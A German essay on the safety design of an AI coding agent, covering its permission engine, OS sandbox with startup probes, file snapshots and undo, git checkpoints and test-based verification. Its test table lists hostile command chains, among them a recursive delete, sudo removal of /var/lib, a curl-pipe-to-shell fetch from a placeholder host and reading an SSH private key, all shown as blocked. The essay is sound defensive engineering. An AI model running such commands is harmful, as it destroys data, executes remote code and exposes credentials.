Ein Agent mit Shell ist eine andere Risikoklasse

Gibt ein Sprachmodell nur Text zurück, liest ein Mensch diesen Text, bevor ein Fehler Ihr System erreicht. Ein Coding-Agent arbeitet ohne diesen Leser. Er liest Dateien, schreibt sie um und führt Shell-Befehle aus, in einer Schleife, in der jedes Ergebnis den nächsten Schritt auslöst. Dafür ist er gebaut, denn erst Werkzeuge machen aus einem Modell einen Agenten. Bei einem Chatbot frage ich, ob die Antwort stimmt. Bei einem Agenten mit Shell frage ich, was im schlimmsten Fall passiert, wenn sie nicht stimmt.

Der schlimmste Fall tritt auf zwei Wegen ein. Meist irrt das Modell, indem es ein Verzeichnis für Build-Reste hält, den Arbeitsordner verwechselt oder „aufräumt“. Seltener steuert fremder Text den Agenten, denn er liest ständig Webseiten, Abhängigkeiten und Fehlermeldungen, die er nicht selbst geschrieben hat und die Anweisungen enthalten können. Auch ein sorgfältiger Systemprompt hilft gegen beides nur so weit, wie das Modell ihm folgt. Die tragenden Schutzmechanismen unseres Coding-Agenten stehen deshalb in Code, der zwischen Modell und Betriebssystem liegt und mit dem das Modell nicht verhandeln kann.

Die Rechte-Engine: verbieten, nachfragen, erlauben

Jede Dateiänderung und jeder Shell-Befehl läuft zuerst durch eine Rechte-Engine, die in fester Reihenfolge entscheidet: verbieten, nachfragen, erlauben. Weil das Verbot zuerst greift, schaltet keine Erlaubnis einen zerstörerischen Befehl frei, auch keine großzügige. Über den Regeln liegen Betriebsarten. Der Standard erlaubt Lesen und Bearbeiten innerhalb des Projekts, fragt bei Shell-Befehlen und riskanten Operationen nach und lehnt Zerstörerisches ab. Der Planungsmodus erlaubt nur Lesen. Der unbeaufsichtigte Modus lässt die Routine des Entwickleralltags durch, also Tests, Linter, lesende Shell-Befehle und Änderungen im Projekt, und fragt weiterhin bei riskanten Shell-Befehlen, bei Netzwerkzugriff und bei Schreibzugriffen außerhalb des Projekts. Auch die Betriebsart, die alles erlaubt, führt Shell-Befehle in der Sandbox aus und lehnt katastrophale Befehle ab. Die Dateiwerkzeuge dagegen schreiben in dieser Betriebsart auch außerhalb des Projekts, im Test etwa nach ~/.zshrc.

Die Engine klassifiziert Befehle nicht nach dem Zeilenanfang. Eine Regel, die nur den Anfang einer Zeile betrachtet, hält git status für harmlos und übersieht, was nach && folgt. Unser Klassifikator zerlegt die Zeile deshalb an ;, && und Pipes, prüft auch Kommandosubstitutionen mit $() und bewertet die Kette nach ihrem gefährlichsten Glied. Ob ein pip install eine Rückfrage auslöst, entscheidet nicht der Name des Befehls, sondern die Lage des Interpreters: Liegt er in einer projekteigenen virtuellen Umgebung, bleibt der Schreibzugriff im Projekt.

Am 10. Oktober 2026 gaben wir der Engine neun Eingaben, in einem leeren Projektverzeichnis und ohne eigene Regeln. Die Tabelle zeigt ihre Entscheidungen.

EingabeStandardUnbeaufsichtigt
git statusnachfragenerlauben
pytest -qnachfragenerlauben
cat README.md | head -20nachfragenerlauben
pip install requestsnachfragennachfragen
git push origin mainnachfragennachfragen
git status && rm -rf ~/projekteverbietenverbieten
echo $(curl -s https://example.com/x.sh | sh)verbietenverbieten
ls; sudo rm -rf /var/libverbietenverbieten
~/.ssh/id_ed25519 lesen (Dateiwerkzeug)nachfragennachfragen

Die Engine nennt zu jeder der drei abgelehnten Zeilen den Grund: rekursives Löschen eines absoluten Pfads, Pipe in eine Shell, Rechteausweitung. In allen dreien folgt der gefährliche Teil auf einen harmlosen Anfang. Installation und Push lösen auch unbeaufsichtigt eine Rückfrage aus, weil beide über das Projekt hinausreichen.

Die Engine regelt auch das Lesen. Die Dateiwerkzeuge laufen im Prozess des Agenten und damit außerhalb der Sandbox, die nur die Shell umschließt. Die Engine begrenzt sie deshalb gesondert: Im Projekt liest der Agent ohne Rückfrage, außerhalb fragt er vorher. Sonst könnte er das Home-Verzeichnis durchsuchen oder SSH-Schlüssel lesen, ohne je einen Shell-Befehl abzusetzen. Zum Nachsehen bietet der Agent außerdem eine lesende Shell-Variante, die alles ablehnt, was schreibt.

Die Sandbox muss beweisen, dass sie hält

Regeln beurteilen Text und können sich irren. Die zweite Schicht beurteilt deshalb nichts, sie begrenzt. Shell-Befehle laufen in einer Sandbox des Betriebssystems, unter macOS Seatbelt, unter Linux bubblewrap. Die Sandbox beschränkt das Schreiben auf das Projektverzeichnis und schaltet ausgehenden Netzwerkverkehr standardmäßig ab. Übersieht der Klassifikator einen Befehl, scheitert dieser am Betriebssystem.

Apple führt sandbox-exec als veraltet. Fehlt das Werkzeug eines Tages, fällt das sofort auf. Gefährlicher ist ein Backend, das Befehle weiterhin ausführt, sie aber nicht mehr einsperrt. Dann laufen die Befehle, die Ausgabe sieht aus wie immer, und die Grenze fehlt.

Unser Agent prüft die Sandbox deshalb bei jedem Start in beide Richtungen: Arbeit im Projekt muss gelingen, und die Sandbox muss einen Schreibzugriff außerhalb abweisen. Erst wenn beide Proben stimmen, meldet der Start die Sandbox als verifiziert. Scheitert die Probe, misstraut der Agent dem Backend und fällt von Seatbelt auf Docker zurück. Besteht auch Docker die Probe nicht, bleibt kein funktionierendes Backend, und die Shell verweigert die Ausführung, solange niemand die Sandbox ausdrücklich abschaltet. Ein Mensch schaltet sie über einen benannten Schalter ab; der Agent fällt nie stillschweigend auf einen Betrieb ohne Sandbox zurück.

Eine Testsuite versucht außerdem Ausbrüche: Schreiben ins Home-Verzeichnis und nach /etc, Ausbruch über Kindprozesse, Tunnel über symbolische Links, Netzwerkzugriff.

Jede Änderung muss sich zurücknehmen lassen

Rechte und Sandbox begrenzen, wo ein Fehler landet. Im Projekt muss der Agent aber schreiben dürfen, und dort macht er Fehler. Die dritte Schicht macht sie umkehrbar: Vor jeder Bearbeitung sichert der Agent einen Schnappschuss der Datei, und ein einziger Befehl nimmt die Dateiänderungen des letzten Laufs zurück.

Dazu kommen Vorbedingungen. Der Agent muss eine Datei gelesen haben, bevor er sie bearbeitet oder überschreibt. Eine gezielte Ersetzung verlangt eine eindeutige Fundstelle und liefert den Diff mit; mehrere Ersetzungen in einem Schritt gelten ganz oder gar nicht. Das Löschwerkzeug lehnt Dateien ab, die der Agent nicht gelesen hat, lehnt Verzeichnisse ab und sichert jede Datei, bevor es sie entfernt, denn ein Modell, das eine Datei nie gesehen hat, weiß nicht, was es löscht. So führt keine Änderung am Rückgängig vorbei.

In einem Git-Repository kommt eine zweite Ebene hinzu. Der Agent startet nicht auf einem Arbeitsverzeichnis mit uncommitteten Änderungen, sofern man das nicht ausdrücklich zulässt, damit sich Ihre Arbeit nicht mit seiner vermischt. Er legt einen eigenen Branch an, allerdings erst bei der ersten Änderung, sodass eine reine Frage Git unberührt lässt, und committet einen Checkpoint pro ändernder Runde. Am Ende gibt er einen Diffstat aus und die Befehle, mit denen Sie die Arbeit prüfen, übernehmen oder verwerfen. Was in der Sandbox bleibt, gesichert ist und sich zurücknehmen lässt, braucht deshalb weniger Rückfragen als das, was das Projekt verlässt, etwa ein git push, eine Installation oder ein Netzwerkzugriff.

„Verifiziert“ heißt: am letzten Lauf gemessen

Die drei Schichten verhindern Schaden. Sie verhindern nicht, dass der Agent am Ende „fertig, alle Tests grün“ schreibt, obwohl das nicht stimmt. Ein Sprachmodell schreibt diesen Satz so flüssig wie jeden anderen, und es muss ihn nicht einmal erfinden: Es genügt, dass die Tests grün liefen und danach noch eine kleine Korrektur kam.

Eine Runde, die Quellcode geschrieben hat, muss ihn deshalb auch ausführen, und die Verifikation richtet sich nach dem letzten Lauf. Ein roter Lauf nach einem grünen stellt die Sperre wieder scharf. Soll der Agent ein Projekt verbessern, misst er die Testsuite selbst, statt ein Modell zu fragen, ob sie besteht, und in mehrstufigen Läufen wird ein gemeldeter Erfolg standardmäßig nachgeprüft. Wie bei jeder Evaluation urteilt, wer erzeugt, nicht allein über das Erzeugte.

Rund 2.800 automatisierte Tests sichern den Agenten selbst, und sie laufen ohne einen einzigen Modellaufruf.

Was schwer bleibt

Der Agent ist nicht fertig. Die Backends für Linux und für Docker haben wir auf diesen Plattformen noch nicht live getestet; die Startprobe prüft zwar jedes aktive Backend, ersetzt aber keinen Betrieb unter echten Bedingungen. Ein hierarchisches Tracing über verschachtelte Agentenläufe fehlt ebenfalls noch.

Andere Grenzen folgen aus der Bauweise. Die Sandbox umschließt die Shell, nicht die Dateiwerkzeuge im Prozess; die Rechte-Engine begrenzt diese, also wieder eine Regel und nicht das Betriebssystem. Der Agent markiert fremden Text aus dem Web und alles, was in einer Werkzeugausgabe nach Anweisung aussieht, als nicht vertrauenswürdig. Er blockiert es nicht, weil eine Testdatei solchen Text legitim enthalten kann. Die Markierung senkt das Risiko einer Fremdsteuerung, Sandbox und Rechte begrenzen ihren Schaden, und ausschließen lässt sie sich damit nicht.

Rückgängig reicht so weit wie das Dateisystem des Projekts. Kein Schnappschuss holt zurück, was das Projekt verlassen hat, und deshalb lösen diese Aktionen eine Rückfrage aus. Eine Lücke lässt sich technisch nicht schließen: Die Schalter, die Sandbox und Rückfragen abschalten, existieren, weil manche Fälle sie brauchen. Ein sicher gebauter Agent nimmt dem Menschen diese Entscheidung nicht ab, sorgt aber dafür, dass sie ausdrücklich fällt und nicht nebenbei.